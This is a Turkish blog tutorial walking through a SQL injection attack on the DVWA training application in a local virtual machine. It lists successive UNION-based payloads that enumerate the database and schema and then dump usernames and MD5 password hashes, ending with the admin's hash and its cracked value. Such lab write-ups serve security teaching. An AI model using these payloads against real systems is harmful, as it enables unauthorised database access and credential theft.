MWN9LGx8LGF4NWZcMqR5NWVdLTcsynIkynwbzD1c

Uygulamalı SQL Enjeksiyon Saldırıları

Sql İnjection Nasıl Yapılır? Örnek Saldırı (Resimli Anlatım)

Ak Blog SEO
4349759590016280108

Uygulamalı SQL Enjeksiyon Saldırıları

4 Nisan 2021 Pazar

Sql İnjection Nasıl Yapılır? Örnek Saldırı (Resimli Anlatım)

Bu konumuzda Uygulamalı olarak SQL Enjeksiyon Saldırı Yöntemlerine değinilmiştir. Konuya dair sorularınızı yorum kısmından belirtebilirsiniz. Dokümanımızın yararlı olması dileğiyle.
Uygulama örneğinde, DVWA adlı web uygulamasının içerisinde bulunan bir sayfanın güvenlik zafiyetinden faydalanarak SQL Injection saldırısı gerçekleştirilmiştir. İlgili uygulamanın senaryosu, hedef sitenin veri tabanında saklı olan Admin şifresini SQL Injection açığından faydalanılarak ele geçirmektir.
İçindekiler 
Uygulamalı SQL Enjeksiyon Saldırı Konu Başlıkları:
  • Uygulama Yapımı
  • Uygulamaya Hazırlık
Uygulamanın gerçekleştirilmesinden önce bahsi geçen programın kurulum işlemleri yapıldı. DVWA programını kullanabilmek adına öncelikle Virtual Box sanal makineme Ubuntu 14.04.5 LTS işletim sistemini kurdum. İlgili işletim sistemine DVWA yazılımını kurmak için üç bölümden oluşan işlemler gerçekleştirdim. İlk olarak Apache, MySQL ve PHP kurulumlarını yaptım. İkinci bölümde ise yüklediğim Apache kök dizinini değiştirdim. Bu işlemin yapılmasının amacı sonrasında DVWA dosyasının ilgili dizin altına kaydedilecek olmasıdır. Sırasıyla tüm yapılandırma işlemlerini tamamladıktan sonra ise son bölüm olan ilgili programın kurulması işlemini gerçekleştirdim.

Bu işlem için tarayıcıma http://localhost/dvwa yazdım ve çıkan ekrana kullanıcı adı olarak ‘admin’ şifre olarak ‘password’ girerek sisteme erişim sağladım. Create/Reset Database butonuna tıkladığımda ise işlemlerim tamamlanmış ve ilgili program uygulamamı gerçekleştirmem için hazır hale gelmiş oldu.

Uygulama Yapımı

Uygulamayı gerçekleştirmek için ilk olarak sisteme giriş yapıldı.

Uygulamalı SQL Enjeksiyon Saldırıları
SQL Enjeksiyon

Uygulamalar listesinden üzerinde çalışılacak olan zafiyet seçildi. Çalışılacak olan saldırı “SQL Injection” zafiyetidir.
Uygulamalı SQL Enjeksiyon Saldırılar
SQL Enjeksiyon

Üzerinde saldırı yapılacak ekran aşağıdaki gibidir.
Uygulamalı SQL Enjeksiyon Saldırılar
SQL Enjeksiyon

İlk olarak metin kutusuna 1 girildi.
Uygulamalı SQL Enjeksiyon Saldırılar
SQL Enjeksiyon

Sonrasında metin kutusuna 1’ girildi ve aşağıdaki hata alındı.
Metin kutusuna girilen ‘ işareti ile zafiyet olduğu ihtimali belirlendi ve sonrasında metin kutusuna 99’ or ‘1’ =’1’ # kodu girildi.  Çıktı ise aşağıdaki gibidir. 1=1 bölümü her zaman doğru olduğundan dolayı tüm kayıtlar listelenmektedir.
Uygulamalı SQL Enjeksiyon Saldırılar
SQL Enjeksiyon
Kaç tane sütun olduğunu belirlemek için order by kodu kullanıldı 3 yazıldığında aşağıdaki hata alındı. Metin kutusuna girilen ifade ise 99’ or ‘1’=’1’ ORDER BY 3#. 3 yerine 1 ve 2 yazıldığında hata alınmadı.
Order By 2 yazıldığındaki ekran görüntüsü aşağıdaki gibidir.
Uygulamalı SQL Enjeksiyon Saldırılar
SQL Enjeksiyon

Metin kutusuna 99’ or ‘1’=’1’ UNION Select 1,2# komutu girildi ve böylece adı 1 ve soyadı 2 olacak şekilde bir kayıt eklendi. İlgili komutun çıktısı aşağıdaki görselde mevcuttur.
Uygulamalı SQL Enjeksiyon Saldırılar
SQL Enjeksiyon
Veritabanının versiyon bilgisini öğrenebilmek için metin kutusuna 99’ or ‘1’=’1’ UNION Select 1,version()# komutu girildi. Aynı zamanda kullanıcı bilgisini öğrenebilmek için 99’ or ‘1’=’1’ UNION Select 1,user ()# komutu girildi. İlgili komutların çıktıları alttaki görsellerde mevcuttur.
Uygulamalı SQL Enjeksiyon Saldırılar
SQL Enjeksiyon

Uygulamalı SQL Enjeksiyon Saldırılar
SQL Enjeksiyon
Sorguların yapıldığı tablonun hangi veritabanında olduğunu öğrenmek için 99’ or ‘1’=’1’ UNION Select 1,database ()# ve ilgili veri tabanının dizinini öğrenmek için 99’ or ‘1’=’1’ UNION Select 1,@@datadir# komutları sırasıyla metin kutusuna girildi. Çıktıları aşağıda görülmektedir.
Uygulamalı SQL Enjeksiyon Saldırılar
SQL Enjeksiyon

Uygulamalı SQL Enjeksiyon Saldırılar
SQL Enjeksiyon
Metin kutusuna 99′ or ‘1’ = ‘1’ UNION Select 1,schema_name from information_schema.schemata # komutu girildi.
Uygulamalı SQL Enjeksiyon Saldırılar
SQL Enjeksiyon
Metin kutusuna sırasıyla 99′ or ‘1’ = ‘1’ UNION Select 1,group_concat(schema_name) from information_schema.schemata #  ve 99′ or ‘1’ = ‘1’ UNION Select 1, group_concat(table_name) from information_schema.tables Where table_schema=’dvwa’ # komutları girildi.  Çıktılar aşağıdaki gibidir.
Uygulamalı SQL Enjeksiyon Saldırılar
SQL Enjeksiyon
Uygulamalı SQL Enjeksiyon Saldırılar
SQL Enjeksiyon
Son olarak sırasıyla metin kutusuna 99′ or ‘1’ = ‘1’ UNION Select 1,group_concat(column_name) from information_schema.columns Where table_name=’users’ #  ve 99′ or ‘1’ = ‘1’ UNION Select 1,group_concat(user,0x3b,password,0x0a) from dvwa.users # komutları girilerek veritabanında bulunan tüm şifre bilgilerinin md5 şifreli halleri ele geçirilmiştir.
Uygulamalı SQL Enjeksiyon Saldırılar
SQL Enjeksiyon
Uygulamalı SQL Enjeksiyon Saldırılar
SQL Enjeksiyon 
Yöneticinin kullanıcı ad ve şifre bilgisi 
admin; 5f4dcc3b5aa765d61d8327deb882cf99’dir. 
şifre md5 algoritması ile şifrelenmiştir. İlgili şifre ise password kelimesidir.


Kaynak: icerik..go


--
---
akblog.net
Ak Blog SEO - Google SEO Eğitimleri Dokümanları
  1. Uygulamalı olarak SQL Enjeksiyon Saldırı Yöntemlerine değinilmiştir. Konuya dair sorularınızı yorum kısmından belirtebilirsiniz.

    YanıtlayınSil
Konu hakkında sormak istediklerinizi yazabilirsiniz.
AK Blog SEO

Read. Think. Exercise (Oku. Düşün. Uygula.)

Whatsapp İletişim Formu×
Bilgileriniz
İstek Bilgileriniz
iletişime geç